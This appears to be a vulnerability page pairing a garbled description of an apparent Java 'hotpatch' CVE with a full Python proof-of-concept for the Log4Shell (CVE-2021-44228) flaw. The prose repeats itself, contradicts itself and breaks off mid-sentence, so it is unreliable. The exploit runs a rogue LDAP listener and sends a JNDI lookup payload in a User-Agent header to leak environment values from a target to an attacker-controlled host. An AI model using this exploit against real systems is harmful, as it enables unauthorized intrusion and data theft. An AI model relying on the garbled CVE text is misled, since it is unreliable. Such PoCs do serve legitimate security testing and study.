This will ensure that the target JVMs are isolated from each other and that the hotpatch cannot be applied to a process that is already vulnerable to a different type of vulnerability. For example, this change will prevent a hotpatch from being applied to a target JVM that is already exploited via a different path such as RCE or XXE. The hotpatch will now be applied to all new Java processes, regardless of the path they are exploited through. In addition, the hotpatch now consumes its own log4j.properties file, rather than using the original non-hotpatch log4j.properties file. This will ensure that the hotpatching log4j.properties file is not included in an exploit chain and therefore cannot be used to determine whether or if a target Java process is already vulnerable to a certain type of vulnerability.

New Logging Configuration Files

The new logging configuration files for the hotpatch can be found in the "target" and "host" folders of the patch. The following example shows how to configure the log4j.properties file for a target Java process:
log4j.appender.A1=org.apache.logging.log4j.DailyRollingFileAppender
log4j.appender.A1.

List of changes in Java 9 Update 67

This will ensure that the target JVMs are isolated from each other and that the hotpatch cannot be applied to a process that is already vulnerable to a different type of vulnerability. For example, this change will prevent a hotpatch from being applied to a target JVM that is already exploited via a different path such as RCE or XXE. The hotpatch will now be applied to all new Java processes, regardless of the path they are exploited through. In addition, the hotpatch now consumes its own log4j.properties file, rather than using the original non-hotpatch log4j.properties file. This will ensure that the hotpatching log4j.properties file is not included in an exploit chain and therefore cannot be used to determine whether or if a target Java process is already vulnerable to a certain type of vulnerability.

Further Reading

For more information on this issue and how to resolve it, please refer to the following article: "CVE-2022-0070: Hotpatching of Java Processes Using Log4j.properties File"

Security vulnerabilities in the Java Runtime Environment (JRE) have been a problem since its release nine years ago. In response, Oracle has introduced the Hot Patch technique to prevent exploitation of JRE vulnerabilities. This blog post discusses how hotpatching affects target processes that are already vulnerable to a different type of vulnerability and how the change addresses this issue.
The hotpatch technique has been introduced as part of CVE-2022-0070. This is a security vulnerability that requires an update for the Java Runtime Environment (JRE) or the Java Development Kit (JDK).
A brief description of CVE-2022-0070 from Oracle's website is as follows: "This will ensure that the target JVMs are isolated from each other and that the hotpatch cannot be applied to a process that is already vulnerable to a different type of vulnerability. For example, this change will prevent a hotpatch from being applied to a target JVM that is already exploited via a different path such as RCE or XXE."
Oracle also states in their document that "The hotfix will now be applied to all new Java processes, regardless of the path they are exploited through." The change no longer allows for targeting specific processes with a hot patch since any process can

Exploit

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        print(f' i| new connection from {self.client_address[0]}')

        sock = self.request
        sock.recv(1024)
        sock.sendall(LDAP_HEADER)

        data = sock.recv(1024)
        data = data[9:]  # strip header

        # example response
        #
        # ('Java version 11.0.13\n'
        #  '\x01\x00\n'
        #  '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
        #  'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

        data = data.decode(errors='ignore').split('\n')[0]
        print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


def main():
    parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
                                                 '(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
    parser.add_argument('--target', '-t', required=True, help='target uri')
    parser.add_argument('--listen-host', default='0.0.0.0',
                        help='exploit server host to listen on
(default: 127.0.0.1)')
    parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
    parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
                        help='host where (this) exploit server is reachable')
    parser.add_argument('--leak', '-l', default='${java:version}',
                        help='value to leak. '
                             'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
                             '(default: ${java:version})')
    args = parser.parse_args()

    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
    server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

    serv_thread = threading.Thread(target=server.serve_forever)
    serv_thread.daemon = True
    serv_thread.start()
    time.sleep(1)
    print(f' i| server started')

    payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
    print(f' i| sending exploit payload {payload} to {args.target}')

    try:
        r = requests.get(args.target, headers={'User-Agent': payload})
        print(f' i| response status code: {r.status_code}')
        print(f' i| response: {r.text}')
    except Exception as e:
        print(f' e| failed to make request: {e}')
    finally:
        server.shutdown()
        server.server_close()


if __name__ == '__main__':
    main()

Timeline

Published on: 04/19/2022 23:15:00 UTC
Last modified on: 05/03/2022 14:01:00 UTC

References